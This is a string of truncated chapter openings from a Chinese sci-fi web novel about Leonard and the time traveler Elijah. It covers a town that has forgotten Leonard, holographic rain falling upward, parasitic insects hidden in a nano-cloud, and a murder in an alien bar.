“帮个忙,别说话了。”莱纳德打量着街道两边的店铺,向前走去,以利亚抬手在嘴唇上做了个拉拉链的动作,然后把手插进了口袋里,安静地跟在莱纳德身后。 老麦瑟尔的报摊立在街角,他本人正撅着屁股拉动生锈的卷闸门,最新的报纸杂志在他身边的手推车上摞得高高的,在冷风里发出清脆的响声。 “嘿!小子,我看见你了,别想乱动!”老麦瑟尔在莱纳德把手伸向报纸堆的时候一下子转过身来,冲他竖起食指,“《底特律自由新闻报》50美分,《密歇根日报》1美元,《花花公子》5美元,都是最新的,”他瞥了莱纳德一眼,“还是说,你是那种看《名利场》和《VOUGE》的人?” 莱纳德呆愣了几秒,往前走了一步:“麦瑟尔先生,是我啊,你不认识我了?” 老麦瑟尔眯起眼睛:“你是福勒家的男孩?” “是莱纳德,莱纳德·杜弗伦。”莱纳德结结巴巴地说,“肖恩是我爷爷。” “肖恩?”老麦瑟尔一拍脑门,莱纳德不由得松了口气,老麦瑟尔又紧跟着说,“你是他孙子?我还以为他儿子早就跟肖恩一刀两断了,无意冒犯,孩子,但你老爸是个不负责任的混蛋。” 莱纳德眉头紧皱,他同意老麦瑟尔最后的观点,但那作为大早上打招呼的客套话实在有点过头了,他瞄了一眼推车最上面的报纸,2018年12月20日,星期四,《密歇根日报》首页的花体标题大喊大叫地撞进眼帘——强风席卷东海岸,暴风或将带来强降雨和洪水! 日期没问题,报纸没问题,报摊老板也没问题,但依然有什么地方不对劲…… “呃,跟你说话很愉快,麦瑟尔先生,”莱纳德把掌心的汗用力擦到裤腿上,从报摊前退开,“不,我不买报纸了,我要去找我爷爷,再、再会。”他说完忽然掉头就跑,肖恩书店离这不远,这个点爷爷肯定已经发现他不在卧室了,他得赶快回去。 以利亚看着莱纳德的背影,忍不住叹了口气,老麦瑟尔冲他直摇头,评价道:“伙计,你朋友看起来有点问题,搞不好是大问题。”然后他回到卷闸门前,继续弯下腰对付那生锈的操蛋玩意。 肖恩书店的招牌和记忆中一样,谢天谢地,连外墙的裂缝都看起来那么熟悉,莱纳德冲上台阶,用力拍着大门:“爷爷!是我,开门!” 磨砂玻璃后有个人影拖着沉重的脚步过来开门,带着浓重的鼻音:“谁?” 莱纳德张大嘴,一颗心沉了下去,那绝对不是爷爷。 书店门被人从里面拉开,门框撞到铃铛发出“叮”的一声,还穿着睡衣的约翰·斯坦威克探出头来,喷出一口没来得及刷牙的晨间口气:“小子,还不到六点呐,你最好有要紧事。” “约翰爷爷……”莱纳德看着那张熟悉的脸,想起来爷爷每周都要跟他去湖边钓鱼,嗫嚅着问,“我爷爷呢?” “我们见过吗?孩子。”约翰拧起眉头,脸上的皱纹变得更深,“敢问你爷爷尊姓大名呐?” “我是莱纳德,怎么回事?你也不记得我了?”莱纳德受不了约翰脸上茫无头绪的表情,绕过他走进书店里,提高声音叫道,“爷爷!是我!我回来了!” “小子,你不会是肖恩的孙子吧?”约翰在莱纳德身后开口,语气惊讶,那一瞬间,莱纳德像是心灵感应似的猜到了他接下来要说什么:“看在上帝的份上,我还以为肖恩的混蛋儿子这辈子都不会回头了呢。” “这话什么意思?”莱纳德听到自己的声音干巴巴的,像是结成块的沙子。 “来,坐下吧,我猜我们有的聊了。”约翰从柜台后拖出一把椅子,指了指门口的以利亚,“你朋友也可以进来坐着,如果你们再晚一个小时过来,我会给你们泡点热茶的。” 莱纳德没坐下,他不想跟老约翰聊他的混蛋爸爸,只问:“我爷爷呢?” “你来的不是时候,肖恩出远门了,托我帮他照看书店。”约翰耸肩,“不,他走之前没告诉我他要去哪儿,但我猜只去底特律用不着提那么大一个行李箱,对吧?手机号?开什么玩笑,我们已经过了玩智能手机的年纪了,或者不管你们年轻人管那玩意叫啥。” 莱纳德盯着约翰·斯坦威克,他的声音、语气,包括一举一动都那么熟悉,这绝对是约翰爷爷,毫无疑问,在他小时候经常用比胡萝卜还粗的手指头刮他鼻子,刮得他好痛。 他忍不住脱口而出:“你真的不记得我了?约翰爷爷,你、你……”他原本想说“你可是看着我长大的”,但看到老约翰目瞪口呆的样子,那些话又被咽回了肚子里。 以利亚从后面伸手握住他的胳膊,低声说:“莱纳德,我们走吧。” 一出书店,莱纳德就甩开以利亚,反手抓住他的衣领,把他揪到自己面前,一字一顿:“你早就知道了,对不对?” 用不着回答,以利亚的表情足够说明问题,莱纳德努力克制住喉咙里即将涌起的哭音,这时候最不需要的就是惊慌失措,他盯着以利亚的眼睛:“你用了什么见鬼的魔法,让所有人都把我忘了,对不对?这是该死的魔法把戏,还是平行宇宙,嗯?” “都不是。”以利亚回答,冷静得像块大理石,“我可以解释。” “你最好现在就开始。”莱纳德说。 “当然。”以利亚捏住莱纳德的手腕,把他从自己的衣领上用力掰开,然后松开手,后退一步,“介意边走边说吗?斯坦威克先生看起来对咱俩很感兴趣呐。” 莱纳德瞥了眼书店里探头探脑的老约翰,一言不发地扭过身子,沿着阿什兰街往下走去,以利亚跟在他身边,说道:“2018年12月20日,你没记错,我们就是这一天认识的。” 如果莱纳德眼下足够冷静,他会注意到以利亚故作轻快的语调里藏着什么别的东西,但他没有,于是以利亚若无其事地说了下去:“我是个时空旅行者,而你也不介意跟我去看外面的世界,所以就像我说的,我们一起旅行、一起冒险,但是后来出了点意外。” 莱纳德这次没有反驳。 以利亚吐出一口长气,抬头看了眼阴沉沉的天气:“要下雨了,打个赌,这场雨肯定小不了。” “你看到报纸了,整个东海岸都在下暴雨,淋到这里只是个时间问题。”莱纳德的脚步忽然钉在了地上,天空的确很阴沉,但他却仿佛看到了大雨倾盆,老天爷啊,那场大暴雨…… “我记得那场雨。”莱纳德艰难地说 7. 第一章:倒下的雨 《时空旅行者漫游指南》全本免费阅读 他们没有回到实验室。 跨过传送门后,莱纳德发现自己站在了大街上,小雨淅沥,脚下是湿漉漉的地面,头顶是摩天大厦和空中飞车。 “该死,我肯定又搞错小数点后面的数字了。”以利亚看了一圈,不满意地抱起胳膊,“离目的地差了一条街,简直不像话,整整一条街呐!” 莱纳德无所谓:“才一条街,我觉得在雨里散散步挺好的。”他抬脚看了眼鞋底,奇怪了,地上有积水,他刚才还踩出了水花,但触感不对,而且如果他现在没看花眼的话,两只脚的鞋底都还是干的,防水?不至于吧。 “呃,以利亚?”莱纳德注意到了另一件事,“这雨为什么从地下往天上飞?” “啊哈,这不是真的雨,只是全息影像技术应用于气象管理罢了,150世纪,你会以为人类能多有想象力呢。”以利亚伸出手,雨滴纷纷穿过手掌,他出神地观察着,说道,“按道理,这些雨滴本来应该是从天上往地下落的,就像真正的雨那样。” “技术故障?”也许设计全息雨滴的人也搞错了小数点,莱纳德差点把这句调侃说出口,但他觉得自己跟以利亚还没熟到那份上。 “不知道。”以利亚眯起眼睛,“走,我们去看个究竟。” “不回实验室了?” “实验室可以等,这场雨可说不定什么时候就停了。” “好吧,你说了算。” 路上,以利亚仍时不时伸手去“碰”那些全息雨水,像在确定它们究竟是不是真的,莱纳德忍不住问:“你在干什么?” “你听说过纳米云吗?”以利亚不答反问。 “猪会飞吗?算了,别回答这个问题。我没听过纳米云,纳米技术在我那个年代只能算刚起步,在科幻电影里倒是发展得不错,钢铁侠听说过吗?”莱纳德也伸手去碰全息雨滴,那些小东西纷纷穿过他的手掌,没有触感,但有一滴雨居然绕开了他的手指,拐了个弯继续朝天上飞去。 “钢铁和纳米可不是一回事。”以利亚挑眉,显然没听说过钢铁侠和他的纳米战甲,“说到底它们只是很小的粒子,人类管它叫‘云’,但其实肉眼是看不到的。全息雨的运作原理也很简单,纳米云就像很多个很小的投影仪,它们在空间中投射三维立体影像,大到一栋楼,小到一滴雨,都非常逼真,不过都是幻影就是了。” “拜托,说点我不知道的。”莱纳德嘟囔,他好歹也是麻省理工的高材生,以利亚用不着给他讲高中物理。 以利亚满足了他的要求,说道:“150世纪的地球可不是游乐园,太阳辐射异常,地磁风暴频繁,极端气候让地球表面不再宜居……所以一些人类坐着飞船去探索太空,而留在这里的那批人则建造了穹顶,靠纳米技术维持白天黑夜,风雷雨雪。” 莱纳德沉默了一会:“那看来《银河帝国》写得没错咯?”他看到以利亚一脸不知所云地瞪着他,忍不住说:“拜托,艾萨克·阿西莫夫?科幻小说之父?我以前从来没跟你提起过他?” “也就七八十次吧。”以利亚耸耸肩,然后伸手一指前面的高楼,“我们到地方了。” 莱纳德仰起头,念出大厦外的门牌:“城市景观研究院?我以为我们会去纳米研究中心那种地方呢,或者粒子物理研究所之类的,你知道,城市景观研究院听起来更像是负责街道绿化和建造公园。” “嗯哼,当纳米技术跟电力一样不再神秘并且随处可见之后,把它挂在门牌上就会让人摸不着头脑了。”以利亚一本正经地整了整衣领,带着莱纳德走进大楼,大厅里人来人往,除了过分明亮的光线,看起来跟庞蒂亚克的商业写字楼也没什么两样。 “早上好,以利亚教授,好久不见。”一个戴圆框眼镜、穿灰色西装的年轻人停下来跟他们打招呼,莱纳德惊讶于教授这个称呼,以利亚倒是坦然接受,微笑道:“早上好,西蒙,帮个忙,我们俩要去气象科技部一趟,有件急事,来不及预约了。” “当然了,我来帮你们刷卡。”年轻人当即掉转脚步,跟他们往电梯间走去,在莱纳德看来,能为以利亚教授做点事都要让这小伙子乐开花了。 电梯门关上后,莱纳德用胳膊肘撞了撞以利亚:“教授?真的假的?” “至少在某个星球上是真的。”以利亚说,他想了想,又解释道,“我在这待了一段时间,金莫顿实验室拥有最顶尖的神经网络修复医疗舱,你知道的,有个合适的身份总会更方便点。” 莱纳德了然地点点头,他看着不断上升的楼层数字,喃喃道:“在方便这点上,你可真没说错。” 电梯停在65层,一进门的墙上就挂着“气象科技部”的烫金牌子,闪闪发光。 以利亚领着莱纳德轻车熟路地找到主管办公室,小声嘱咐了几句,然后抬手敲门:“克斯特林主管,有几分钟时间吗?” 罗斯·克斯特林看起来还算年轻,发际线却早早退兵拔营,在额头留下几道深深的沟壑,即便不皱眉也显得忧心忡忡,此刻,他看着金莫顿实验室大名鼎鼎的以利亚教授,听完对方的来意,那几道沟壑不由得更深了。 “一个技术员操作失误而已,”罗斯揉了揉眉心,“我相信您来处理这种小小纰漏实在是大材小用了,教授。” 以利亚露出那种专业人士的微笑:“全息降雨的参数都是提前设定好的,人工智能系统每隔7分钟就要完成一轮自检,只靠操作失误恐怕没法造成这么有趣的景观。” 罗斯干巴巴道:“您说笑了。” “克斯特林主管,你觉得这好笑吗?”以利亚看着他。 “不、不好笑。” “卡西迪会长一直很关注贵单位的纳米技术应用,不瞒你说,这次冒昧前来,也是受会长之托。”以利亚一本正经地胡说八道,连莱纳德都差点相信事实本来如此,他敢打赌,就算贴到以利亚脸上,也休想看到一丝肌肉颤动的痕迹。 罗斯的脸色顿时变得更差了,僵硬地牵动嘴角:“卡西迪会长注意到我们的小情况了?” 以利亚嗤笑:“也许你不愿意相信,但倒着下的雨其实挺显眼的。” “但那真的只是个操作失误,我保证,只需要……”罗斯话音未落,楼道里骤然响起刺耳的警笛声,一短两长,紧跟着,又是一短两长。 一听到警笛,罗斯的脸色就变了,刚要往外走,办公室大门就被人用力推开,一个技术员跑进来,惊慌失措地喊道:“主管,宾德组长出事了!” 纳米设备组办公室里,一个皮肤白皙头发金黄的男人横躺在地上,下巴和脖子浸在血泊里,瞪着眼睛死了。 近距离目睹死亡现场,再加上空气中血液和呕吐物令人不敢恭维的味道组合,莱纳德本以为自己也会 8. 第二章:影蛉虫 《时空旅行者漫游指南》全本免费阅读 “影蛉虫是一种很小的食肉虫,没到纳米级别,但肉眼也无法识别,在一些地方可以说是无孔不入,它们不是群居动物,但恶劣环境下会抱团觅食。”过了一会,以利亚告诉莱纳德,他在一台电脑终端前坐下,飞快地操作着,“你见过蝗虫过境后的麦田吗?只比那更夸张,一旦影蛉虫群体数量达到千亿级别,所过之处绝不会留下半点血肉。” 莱纳德喉咙发干:“难道没有消灭它们的办法?” 以利亚回答:“当然有,影蛉虫有一个致命弱点,它怕光。”他抬头瞟了莱纳德一眼,像是猜到他接下来要说什么,又说:“不,跟吸血鬼不一样,没有在太阳底下自燃一说,但最微弱的光也能杀死影蛉虫,这就是它们没有泛滥成灾的原因。” “那还有什么好担心的?光到处都是。”莱纳德不解,但以利亚的表情让他感到紧张,还有宾德的尸体,莱纳德刚才瞄了一眼,老天,那具尸体正越来越瘪,他赶紧用力把头扭开,努力不去想象宾德最后只剩下白骨残渣和那身衣服的样子,可惜不太成功。 “地球上曾经爆发过虫灾,严重空气污染带来的副作用,你懂的。但是,自从建立穹顶,将纳米云投放到整座城市,那东西就应该灭绝了。”以利亚皱起眉头,“时隔这么多年卷土重来,再加上这场倒着下的雨,说实在的,我有种不好的预感。” 纳米云带来无处不在的光,光杀死影蛉虫,而宾德的电脑上有解除纳米云的指令痕迹,也就是说,有人打算制造一起影蛉虫灾,这些莱纳德都懂,但是—— “倒着下的雨跟这又有什么关系?” 以利亚推开电脑键盘,向后靠在椅背上:“我刚才跟这栋楼里的人工智能简单聊了聊,她确认全息雨的程序参数发生变化是宾德干的,授权级别较高,由于操作不存在显而易见的危害结果,因而未能触发自检报警。当然,之后解除纳米云的指令就逃不过系统拦截了,宾德自己肯定也清楚这一点。”他说完陷入沉思,食指轻轻敲打着椅子扶手,嘟囔了一句:“既然有备而来,又何必打草惊蛇呢?” “她?人工智能是个女的?”莱纳德脑海里浮现出容貌精致的长发美人,眼睛却是灰的,赶紧删掉那画面,问,“她还说什么了?” 以利亚站起来:“她说宾德的妻子就住在附近的小区,我想我们最好去拜访一下。” 路上,莱纳德百思不得其解,问以利亚:“怎么会有人想要制造影蛉虫灾?不怕被吃掉吗?”宾德就是个例子,这种人不是有毁灭人类的反社会情节,就是愚不可及。 “未必是人。”以利亚仍旧沉浸在思索中,他的回答让莱纳德更迷惑了几分,“穹顶建造之后,所有人都对影蛉虫灭绝深信不疑,用这种虚无缥缈的东西谋划制造一起灾难再怎么想也匪夷所思,人类制造了那么多足以夷平地球的热武器,何苦用虫子呢?” “呃,环保主义者?”莱纳德耸耸肩,这实在不怎么好笑,除非你同时还是个素食主义者。 以利亚眉头紧锁:“我倒宁愿是有个蠢货偷偷在实验室里研究这玩意,那反而简单得多。” 莱纳德问:“更复杂的情况是什么?” “生物在极端恶劣的环境下,有时候会产生你无法现象的进化,想想那些链球菌吧,从穹顶建造到现在过去了那么久,如果真有影蛉虫幸存下来,也许,这种小东西已经产生了人类无法对付的变异。” “比如?” 以利亚静静地说:“比如寄生。” 莱纳德低下头,看到手臂上冒出了一层鸡皮疙瘩。 宾德的妻子泰来莎是个满头红发的小个子女人,鼻头很翘,但长得并不难看,皮肤和她丈夫一样苍白,在红发衬托下好像个小丑玩偶。 她似乎对这场来访早有预料,连门都特意敞开着,自己坐在前厅的沙发上,平静地看着两位陌生的访客。 “泰来莎女士,日安。”以利亚彬彬有礼地向她问好。 “你们来了。”泰来莎抬起眼睛,那副神情立刻吓了莱纳德一跳——她咧着嘴,眼珠向外突出着,同时轻轻摇晃着脑袋,愈发像个随时都可能把眼珠子弹出去撞到你脸上的吓人玩偶。 “你在等我们?”以利亚问。 泰来莎的语调和目光一样死气沉沉:“宾德死了,总会有人要来的。” 莱纳德忍不住问:“你怎么知道他死了?” 泰来莎勾起嘴角,露出一个不太协调的微笑:“不然你们怎么会来呢?” “……跟你聊天真愉快,女士。”莱纳德闭上嘴结束这段兜圈子的对话,他实在不想盯着泰来莎看,但偏偏又挪不开目光,这女人仍旧满脸假笑,就跟一直从万圣节放到感恩节的烂南瓜似的,莱纳德只觉得浑身都不自在起来。 他们两人说话的当口,以利亚从客厅溜达到厨房,还打开冰箱门看了看,每一层都装满了塑料膜包裹的生肉,果然。 “看起来宾德先生不是意外死亡了,他要么是个丧心病狂的罪犯,要么是个丧心病狂的好丈夫。”以利亚回到泰来莎面前,盯着她,“告诉我,你什么时候寄生他的?” “今天,我一直很耐心。”泰来莎露出发黄的牙齿,莱纳德不想看那么仔细,但她齿缝里有一丝没清理干净的生肉,看起来就像她的牙龈突然融化了正往下流似的。 “然后呢?嗯?”以利亚追问,“宾德替你制造这场雨,你就把他灭口了,谁又来替你干脏活呢?” “他只是餐前菜。”泰来莎转动眼珠,先瞧瞧以利亚,又瞧瞧莱纳德,然后伸出猩红的舌头舔了舔嘴唇,“不能浪费。” 莱纳德发誓自己只差一点就吐出来了。 离开泰来莎家后,莱纳德第一句话就是确认:“这女人被影蛉虫寄生了,没错吧?”甚至比简单的寄生更可怕,泰来莎看起来成竹在胸,聪明人才会这样,或者,聪明虫。 “毫无疑问。”以利亚钻进车里,让司机把车开回研究院,莱纳德一条腿还在车外边,就着急地追问:“那你干嘛留着她不管?” “泰来莎不是唯一一个被寄生的,而且,她 9. 第三章:谈判 《时空旅行者漫游指南》全本免费阅读 卡西迪会长是一位非常有气质的女性,栗色长发,眼珠漆黑,眼角细微的皱纹完全不能掩盖她眼神里的锐利。 她“坐”在以利亚和莱纳德中间,侧头看着以利亚,用很正式的语气叙旧:“教授,我们上次见面还是在班杜外长的香槟派对上吧?” “你没记错。”以利亚把屁股往外挪了挪,就跟生怕压到卡西迪的全息影像似的,客气地冲她点点头,卡西迪又转向莱纳德,露出意味深长的微笑:“我以为教授习惯了独来独往,想不到……” 以利亚打断她:“会长,我们先谈正事,好吗?” 卡西迪稳稳当当地回答:“纳米云委员会已经将这次影蛉虫危机的情报通报给了安全局,异常纳米粒子被全数锁定,并且在激光武器的安全射程以内,也就是说,这场危机完全在掌控当中。但是——”她拖长音调,瞥了以利亚一眼,“我手下最得力的技术专家却告诉我,有一个黑客高手正在远程阻止我们使用武器。” 以利亚坦然承认:“没错,我不建议你们轻举妄动。” 卡西迪盯着他:“给我一个理由。” “抬头看看,如果从你那能看到天上的话,那个比美玲渡歌剧院塔顶还大的东西是由高密度纳米云构成的,顺便一提,也就是你所说的异常纳米粒子,对它随便使用激光武器,或者任何其他热武器,都会导致剧烈的能量波动。” “我知道。” “效果相当于引爆一颗导弹。” “对于全人类的安全来说,这是不得不冒的险。”卡西迪停顿了一下,又说,“当然,我们会先安排这片区域的人安全撤离,尽量减少附带伤害。” 以利亚反问:“你怎么知道不会有其他影蛉虫继续蛰伏在人们体内?伺机谋划下一次?” 卡西迪默然半晌:“那是以后的事,但眼下,不是影蛉虫灭亡,就是人类陪葬,没有第三条路了。” “除非,”以利亚说,“你让我来跟它们谈谈,我保证,一定会有第三条路。” “你打算怎么谈?”卡西迪离线后,莱纳德忍不住问以利亚,说实在的,他对导弹临头这种事没有半点期待,但跟寄生虫谈判?那听起来只有更扯淡。 以利亚说:“给影蛉虫一个离开穹顶、离开地球的机会,它们不是毫无智慧,也许听得进去呢。”语气好像那些吃人的玩意只是来旅游观光,可以随叫随走似的。 “你是认真的?”莱纳德觉得以利亚在开玩笑。 但事实证明,他没有。 和影蛉虫谈判,交流渠道显然是个难题,毕竟这时候再去找被寄生的志愿者不是个好办法,但以利亚总有法子,回到研究院后,他找来了一台智能终端,按照他的说法,输入了对象参数,设置了对向波频,在人工智能的配合下搭建了与异常纳米粒子群的通联路径,然后直接拉过麦克风,说道:“地面呼叫纳米云端,地面呼叫纳米云端。” 终端“滋啦”响了一声。 以利亚说:“不管你们做了什么,现在罢手还来得及,地球是受星际法则保护的五级文明行星,你们以为能够屠杀这里的居民然后全身而退?开什么玩笑。” 终端吐出扭曲的字句:“这是我们应得的。” “如果你们继续屠杀人类,”以利亚冷笑,“根据《时空联盟宪章》第二章第一条,时空联盟调查局对接下来发生的事情将有不可转移的管辖权,你们有脑子,也有网络,查查星际法律,看看我是不是在说谎。” 终端沉默。 以利亚又说:“不过我可以给你们最后一个机会,打开穹顶,让你们离开地球。我保证,已经发生的事情绝不会呈送到星际刑事法庭。” 影蛉虫回答:“这是他们应得的。”同时,房间里蓦地一黑,但很快再次亮起来,仿佛刚才那一瞬间是短暂的失明,莱纳德眨眨眼,心里升起某种不祥的预感。 “怎么……刚才是怎么回事?”旁边的技术员显然也经历了相同的闪烁。这种感觉不同于电流不稳导致的灯光跳闪,而是双眼所能捕捉到的所有光线在瞬间消失,随之而来的,是彻底的黑暗。 只有终端的声音:“我们无处不在。” 技术员低头在电脑上一通操作:“我不明白,系统明明运转正常……不对!”话音未落,黑暗又一次降临,这次停留的时间更久才恢复光亮。莱纳德忍不住压低声音:“是不是影蛉虫搞的鬼?”然后听到以利亚低声回答:“是病毒,异常纳米云正在攻击其他的纳米粒子。” “攻击?” “修改纳米云的全息程序指令,解除全部光线投射,也就是说,所有的人造光都会消失。”以利亚这种时候竟然还保持着该死的冷静,挑眉一笑,“这才是它们的计划,其他的……只不过是餐前菜。” 几句话的功夫,光线又闪烁了两次,间隔更短,黑暗更长。 “如果我没记错的话,穹顶里根本没有自然光吧?”莱纳德干笑了一声,但这其实并不好笑。 “没错。” “那你能挡住这波病毒攻击吗?”莱纳德问出这话时已经心有灵犀般地猜到了以利亚的答案,他紧张地看过去,闪烁再次来临,以利亚笑了一下,说道:“不能。” 黑暗骤然降临,视野之内完全伸手不见五指,这次闪烁的时间如此漫长,以至于莱纳德还以为光明永远无法再次到来了。 好在幸运的是,光线再次亮起。 明亮的作战室里,以利亚微笑着,语调居然不无得意:“知道刚才发生了什么吗?”莱纳德摇头,然后才反应过来,以利亚是在问终端那边的影蛉虫。 终端静默。 “多亏你们送来的病毒,寄生虫,替我联通了离线纳米粒子,相信我,帮大忙了。”以利亚粲然一笑,说道,“你们的确很厉害,这种病毒无孔不入,我能阻挡第一波,但无法预测第二波什么时候到来。不过别高兴得太早,我对病毒做了一个细微的调整,非常细微,对人类几乎 10. 第四章:时间特工 《时空旅行者漫游指南》全本免费阅读 莱纳德的幽闭恐惧症并没有机会发作,以利亚很快就带他离开了,在那之前,他低头在箱子里埋头翻了半天,把一个东西丢给莱纳德,对方伸手接住,问道:“这是什么?”那像块手表,只是表盘有点小,跟颗棋子似的,而且黑乎乎的,看不到表针和刻度。 “你可以把它理解成手机,但功能要再强大个十倍吧,喏,交互界面上有基础通讯、定位、上网、影音之类的,剩下的得你自己慢慢探索。”以利亚帮莱纳德把表戴在手腕上,又挑眉一笑,“当然,你也可以拿它看时间。” 莱纳德用手指戳了戳表面,然后,肌肉记忆指挥着他的三根手指做了个抓取的动作,三维交互界面便被拉了出来,静静地浮在他面前。 “歌单很有品味嘛,我也喜欢尼尔·戴蒙德,不管那些自以为是的乐评人怎么说,《甜蜜的卡洛琳》绝对能触动心灵。”莱纳德没试几下就掌握了操作方法,他浏览着本地内容,发现大部分都符合自己的口味,不由得又惊又喜,“居然还有《指环王》三部曲和《霍比特人》三部曲,诺兰系列?经典!” 以利亚说:“那本来就是你的。” 莱纳德眉毛抽动了一下,好吧,这样的意外至少比纹身强得多。他想了想,又问:“你刚才说的准备是什么意思?” “准备离开。”以利亚双手插在口袋里,“我们在这里闹出的动静太大,会有人注意到的。”他不易察觉地叹了口气,影蛉虫危机只是个小概率意外,但就像墨菲定律讲的那样,狗屎意外总会发生。 “‘有人’是谁?”莱纳德问。 以利亚犹豫:“对我们紧追不舍的人。” 莱纳德看着四周的铜墙铁壁,还有以利亚满脸严肃的表情,忍不住问:“以利亚,我们不会是星际逃犯吧?” 以利亚居然还认真思考了一会儿,才回答:“时空联盟调查局的总部大楼里挂着我们的通缉令,不过那只是一连串错误的结果,所以,不,我不认为我们是星际逃犯,我们只不过是在星际逃亡。” “时空联盟调查局?”这名头莱纳德听过,半小时前以利亚把它搬出来震慑影蛉虫,原来他自己也是被震慑的对象吗? “说来话长。”以利亚叹了口气,从口袋里掏出金属笔,开始画方框,“不介意的话,我们逃亡上再细说吧。” “去哪儿?”莱纳德问。 以利亚想了想:“找个店吃披萨?现在回庞蒂亚克可能不安全,不过我知道有个地方也还不错,而且松子冰淇淋相当有名。” “我反正饿得能吞下一头牛。”莱纳德耸耸肩,手腕忽然传来一阵酥麻震感,他抬起迷你手机看了一眼,“我好像……收到信息了。”可这种地方有谁会给他发短信,没搞错的话,他们不是在150世纪吗? ——很期待与您见面。您永远的,奥多娜。落款后面跟着一串时空坐标。 “开什么玩笑?我根本不认识什么奥多娜。”至少就他还记得的人来说是这样。 “那可说不准,”以利亚似笑非笑,“信息里说了什么?” 莱纳德把那句话念给以利亚听,讯息简短,口吻尊敬,莱纳德脑海里浮现出度假酒店里彬彬有礼的前台小姐,微笑标准得拿尺子都量不出差错。 以利亚凑过来,忽然吹了声口哨:“这个地方我知道!”他用手在刚写好的方程式上用力一抹,就跟讲函数课上头、忘乎所以的数学老师那样,飞快地写下新的方程式:“虽然没有披萨,但饮料和零食都很不错,等等,”他思考了两秒,扭头看看莱纳德,“你确定就穿这身衣服约会?” 莱纳德:“……这不是约会。” “布兰迪小馆”正在营业。 它的确不是披萨店,而是一家酒馆。 不管在哪儿,小酒馆都是神奇的存在,西部牛仔也好,变种人雇佣兵也好,总是都不约而同地选择小酒馆作为情报信息集散中心,不大的酒馆里总是充斥着酒精和烟草味,永远不缺窃窃私语和意味深长的眼神,还有木桌下悄悄交换的小纸条。 对于外星球上的外星酒馆来说,莱纳德承认,这个地方挺不错,除了美女酒保有一身仙人掌似的浅绿色皮肤,橙黄色的灯光下,所有东西看起来都暖暖的,玻璃杯里的酒液仿佛流动的琥珀,吧台乐池里酒客们在音乐声里扭动身体,爵士乐风格,慵懒得恰到好处。 “给我来一杯银色子弹。”以利亚在吧台坐下,冲酒保一笑,露出八颗洁白的牙齿,“布兰迪,好久不见。” 布兰迪既是酒保,也是酒馆老板娘,省下一份工钱的同时,又能招徕客人,因为布兰迪长得很漂亮,一双眼睛顾盼生姿,尽管头顶的刺会在接吻时扎到人脸上,但谁也不能否认,她笑起来确实迷人。 莱纳德愿意相信酒馆里至少得有一半客人是冲布兰迪来的,当然,不为喝酒而来的另当别论,比如他们。 “以莱,好久不见。”布兰迪动作优雅地摇了杯酒,又取出一颗锥子似的水果,往酒里挤了几滴果汁,立刻有银色泡泡从半透明的酒液里冒了出来,香气扑鼻,她地把酒杯推到以利亚面前,“喏,你的银色子弹。” 以利亚说:“看你调酒还是这么让人享受。” 布兰迪笑笑:“上一次你来看我调酒,还是替我收拾了那几个泰坦战士之后,老天,他们块头可真大,你还记得吗?” “当然记得,”以利亚挑起一边的眉毛,“绝对没有人会忘记被泰坦战士砸进墙里的经历,他们的拳头比脑袋还大。” 布兰迪单手托着下巴,用眼角瞟莱纳德:“这个小可爱是你搭档?不会吧,难不成是那位大名鼎鼎的莱纳德·杜弗伦?” “大名鼎鼎?”莱纳德下巴差点掉下来,那是他的名字没错,但上帝作证,它还从没和大名鼎鼎放在一起过,一直以来,都是混蛋王八蛋一类的词跟他们祖孙三个杜弗伦更显得亲近。 “没错。”以利亚干脆地说道,他不打算让这女人打开话匣子,抬抬手指,“莱纳德,这是布兰迪,今天的酒都是她请客,随便点。” 布兰迪的笑容顿时没那么迷人了。 好在莱纳德不是酒鬼,他心不在焉地点了杯气泡酒,低声问以利亚:“怎么说,我们就在这等奥多娜出现?” 气泡酒散发着迷人的酒香,但那些气泡在空中破裂后会发出孩子似的咯咯笑声,莱纳德可不敢把这玩意喝进肚子里,小食餐盘里的开心果蹦蹦跳跳,那股活跃劲头远超过小零食该有的程度,也被他推得远远的。 “或者,”以利亚端起来他那杯银色子弹,伸手一指酒馆角落里的卡座,“我们去那儿边聊边等。” 结果以利亚刚往外迈出一步,一个穿卡其布制服的瘦高个就撞上了他的胳膊肘,杯子里的银色子弹就此发射腾空,“泼剌”一声尽数洒在了莱纳德的衣服前襟上。 “看好你的路!”瘦高个生气地叫了一声,抬起一只脚向以利亚展示破旧的凉鞋和露趾袜,“都溅到我鞋子上了。” “哈,真抱歉,我的胳膊肘伤到你膨胀的自尊了,”以利亚也没好气,反唇相讥道,他 11. 第五章:圆环 《时空旅行者漫游指南》全本免费阅读 斜对面的卡座上,一个中年男人忽然站了起来,嘴里发出打嗝似的声响,他双手在胸口胡乱摸了几下,仿佛刚刚发觉自己没带钱包,紧跟着,吐出一口气,朝前一头栽倒,他面前的酒杯从桌上翻倒在地,殷红的酒液顿时染红了桌布。 但红色的并不只有酒。 以利亚一下子跳起来,像瞪羚一样敏捷地蹿了过去,倒下的中年男人后背中枪,三枚小口径子弹击穿了他的肺部和心脏,却未形成贯穿伤。 没救了,这个念头滑过以利亚脑海时,他听到附近响起了很细微的“哒哒”声,像秒针走动。 “后退!”以利亚忽然朝莱纳德大喊起来,在莱纳德像个傻瓜一样张口欲问时,合身猛扑过去把他压倒在地。 热浪裹挟着爆炸声和尸体碎块从两人头顶滚过,惊雷夹杂着刀片近距离炸开大概就是这种感觉,以利亚感到一阵钝痛,热乎乎地液体顺着脸颊淌了下去。 “看好你的路!” 莱纳德张大嘴,瞪着眼前挥舞拳头的瘦高个,直到胸口紧缩得发痛,他才意识到自己忘记呼吸了。 “都溅到我鞋子上了,”瘦高个抬起一只脚,脚趾从破洞的袜子里探出头来,看起来跟他的主人一样愤怒,“过道不是给你用来挡别人的,不知道吗?” 莱纳德跟以利亚对视,从那双灰眼睛里看到了跟自己一样的惊讶,而且以利亚捂着后脑勺,脸上露出了痛苦的表情。 瘦高个把两人的沉默当成怯懦,开始不依不饶:“喂,死基佬,我打扰你们深情对望了?” “管好你自己的事,赖达!”布兰迪忽然大声说道,秀气的鼻子因为生气皱了起来,“在这里撒泼,你当我是死人?” 赖达瞪起眼睛,看样子准备继续发怒,但布兰迪挺起胸脯毫不退缩,赖达只好悻悻地啐了一口,趿拉着破烂拖鞋走远了。 “你怎么了?以莱,你脸白得像个死人。”布兰迪从以利亚手里拿过空酒杯,担心地瞅了他一眼,“头疼病发作?也许威士忌不是个好选择,我这有橘子味泡腾片,你要来点吗?” 